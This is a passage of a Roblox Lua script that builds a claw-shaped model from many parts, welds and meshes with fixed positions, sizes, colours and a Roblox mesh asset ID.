676 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001)) | |
677 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
678 | ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142959999, -0.79026103, -0.577523232, 0, 0, 1, 0.0581610166, -0.998307228, 0, 0.998307228, 0.0581610166, 0)) | |
679 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.400000006, 1, 0.100000001)) | |
680 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
681 | ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.857914209, 0.258751988, -0.512362957, 0.353553236, -0.866025567, -0.353553236, -0.707106471, 3.09715034e-07, -0.707107246, 0.612372994, 0.499999791, -0.6123721)) | |
682 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001)) | |
683 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003)) | |
684 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.508293927, 0.581420183, 0.355297565, -1, 0, 0, 0, -0.694275975, -0.719708979, 0, -0.719708979, 0.694275975)) | |
685 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1)) | |
686 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003)) | |
687 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, -0.605236769, -0.322324991, 1, 0, 0, 0, 0.719708979, -0.694275975, 0, 0.694275975, 0.719708979)) | |
688 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1)) | |
689 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003)) | |
690 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.0117408261, -0.729162693, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101)) | |
691 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.208000004, 0.47299999, 0.47299999)) | |
692 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566)) | |
693 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.123879015, -0.278857708, -0.00617899979, 0.965925336, -0.2588211, 0, 0.2588211, 0.965925336, 0, 0, 0, 1)) | |
694 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999)) | |
695 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.445813209, 0.210449979, 1.04200566)) | |
696 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.223450184, 0.0305250883, -0.00618699985, -0.25881803, 0.965926111, 0, -0.965926111, -0.25881803, 0, 0, 0, 1)) | |
697 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999)) | |
698 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566)) | |
699 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.407537222, 0.0663063526, -0.00618699985, 0.707106352, -0.707107365, 0, 0.707107365, 0.707106352, 0, 0, 0, 1)) | |
700 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999)) | |
701 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.664211631, 0.210449979, 1.04200566)) | |
702 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0544009209, 0.0101571083, -0.00617499975, 0.499998987, 0.866025984, 0, -0.866025984, 0.499998987, 0, 0, 0, 1)) | |
703 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999)) | |
704 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566)) | |
705 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.212381959, -0.663311005, -0.00618499983, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
706 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.730365157, 0.388499111, 1.00999999)) | |
707 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566)) | |
708 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0184851885, 0.339620829, -0.0061809998, 0.715359032, -0.698757052, 0, 0.698757052, 0.715359032, 0, 0, 0, 1)) | |
709 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.834142029, 0.388499111, 1.00999999)) | |
710 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.627083898, 0.210449979, 1.04200566)) | |
711 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.280005217, -0.363016367, -0.00617299974, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1)) | |
712 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999)) | |
713 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.329999983)) | |
714 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.00543988496, -0.414242506, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101)) | |
715 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1)) | |
716 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566)) | |
717 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.453824013, -0.291407824, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
718 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.83414197, 0.388499111, 1.00999999)) | |
719 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
720 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51018995, -0.50767684, 0.297928989, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
721 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445)) | |
722 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725)) | |
723 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0117785633, -0.903934956, 0.39272213, 0.707106352, 0, 0.707107365, 0, 1, 0, -0.707107365, 0, 0.707106352)) | |
724 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1)) | |
725 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
726 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.677359819, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
727 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445)) | |
728 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368)) | |
729 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0118038058, 0.689624906, 0.570050001, 0.707103848, 0, 0.707109809, -0.707109809, 0, 0.707103848, 0, -1, 0)) | |
730 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1)) | |
731 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
732 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510767996, -0.508222818, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
733 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445)) | |
734 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954)) | |
735 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285520971, -0.664801836, -0.00591700012, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
736 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1)) | |
737 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.728394926, 0.35408181, 1.04200566)) | |
738 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.159419954, -0.695495844, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
739 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1)) | |
740 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.796342552, 0.65287286, 1.04582763)) | |
741 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.144507021, 0.270431995, -0.00702500017, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
742 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1)) | |
743 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.04200566)) | |
744 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0228680372, -0.903097868, -0.00617699977, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
745 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1)) | |
746 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
747 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.157143831, -0.295579016, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
748 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445)) | |
749 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.475480139, 0.404664904, 1.04200566)) | |
750 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.236273766, -0.56151557, -0.0061809998, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1)) | |
751 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1)) | |
752 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725)) | |
753 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000811070204, -0.902295828, 0.381639034, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)) | |
754 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1)) | |
755 | Part = CreatePart2(m, Enum.Material.Neon, 0, 0, "Part", "Really black", "Part", Vector3.new(1, 1, 1)) | |
756 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.618730307, -0.382281303, 0, 0, 1, 0.36670509, -0.93033725, 0, 0.93033725, 0.36670509, 0)) | |
757 | CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.5, 0.709999979, 0.100000001)) | |
758 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368)) | |
759 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000812500715, 0.678554535, 0.570062876, -0.707106829, 0, 0.707106829, -0.707106829, 0, -0.707106829, 0, -1, 0)) | |
760 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1)) | |
761 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.274916351, 0.495625556, 1.04582763)) | |
762 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.386464, 0.349603176, -0.00702300016, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
763 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1)) | |
764 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954)) | |
765 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285515964, -0.215442896, -0.00591900013, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
766 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1)) | |
767 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
768 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51019901, -0.156597853, 0.297930986, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
769 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445)) | |
770 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(1.06224263, 1.11860847, 1.04200566)) | |
771 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00774800777, 0.0171630383, -0.0061809998, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
772 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1)) | |
773 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
774 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510194004, -0.67681098, 0.297922999, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
775 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445)) | |
776 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "WedgePart", TorsoColor, "ClawMaterial", Vector3.new(1.0507766, 0.342107773, 0.210450009)) | |
777 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00591100007, -0.468749046, 0.193565369, 0, 0, 1, -0.700001419, -0.714141428, 0, 0.714141428, -0.700001419, 0)) | |
778 | CreateMesh("SpecialMesh", ClawMaterial, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.961421788)) | |
779 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
780 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00134065747, 0.207813978, 0.709334135, 0.707106829, 0, -0.707106829, 0, -1, 0, -0.707106829, 0, -0.707106829)) | |
781 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788)) | |
782 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009)) | |
783 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947299972, -0.114370823, -0.440932035, 0, 0, 1, 0, 1, 0, -1, 0, 0)) | |
784 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.561885834, 0.961421788)) | |
785 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.411995441, 0.210450009)) | |
786 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00891099963, -0.798730135, 0.476718009, 0, 0, 1, 0, -1, 0, 1, 0, 0)) | |
787 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481)) | |
788 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.04586256, 0.210449979, 0.27767837)) | |
789 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00726700015, 0.0232260227, 0.391721964, 0, 0, 1, 0, 1, 0, -1, 0, 0)) | |
790 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.764251173, 1)) | |
791 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.385787576, 0.210450009)) | |
792 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509499991, -0.792718172, 0.456955969, 0, 0, -1, 0, -1, 0, -1, 0, 0)) | |
793 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481)) | |
794 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009)) | |
795 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509600015, -0.696686029, 0.42363596, 0, 0, -1, 0, -1, 0, -1, 0, 0)) | |
796 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788)) | |
797 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
798 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012203753, 0.206679821, 0.707822442, -0.707106352, 0, -0.707107365, 0, -1, 0, -0.707107365, 0, 0.707106352)) | |
799 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788)) | |
800 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009)) | |
801 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947900023, -0.695355177, 0.440928012, 0, 0, 1, 0, -1, 0, 1, 0, 0)) | |
802 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788)) | |
803 | MotorOne = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorOne", Vector3.new(0.200000003, 0.200000003, 0.200000003)) | |
804 | MotorOneWeld = CreateWeld(m, Handle, MotorOne, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.165818453, -0.00628910959, -0.978227913, -0.0732169896, -0.996971905, -0.0261989962, -0.542171299, 0.0618378855, -0.83798945, 0.837072074, -0.0471507274, -0.545057178)) | |
805 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
806 | ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413149118, -0.00709122419, -1.08955288, 0.90752846, 5.51342964e-07, -0.419990718, -1.73971057e-06, 1, -2.44379044e-06, 0.419990718, 2.95042992e-06, 0.90752852)) | |
807 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003)) | |
808 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
809 | ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.205875158, -0.00710588694, -1.48987699, 0.747897685, -5.36441803e-07, -0.663814127, -1.66893005e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897744)) | |
810 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) | |
811 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993)) | |
812 | PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151987076, 0.549069643, -0.614215612, -1.19581819e-06, 1, 1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982)) | |
813 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974)) | |
814 | PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151856542, -0.490994453, -0.295432806, -1.19581819e-06, 1, 1.37090683e-06, -0.961226821, -7.5250864e-07, -0.27575928, -0.27575931, -1.57952309e-06, 0.96122694)) | |
815 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989)) | |
816 | PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.015198648, 0.650615692, -0.406500697, -1.19581819e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667)) | |
817 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974)) | |
818 | PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152282119, 0.624634504, 0.129744053, -1.19581819e-06, 1, 1.37090683e-06, -0.832109034, -2.5331974e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974)) | |
819 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019)) | |
820 | PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0152042508, 0.944105864, 0.894237399, 1.19581819e-06, -1, -1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982)) | |
821 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
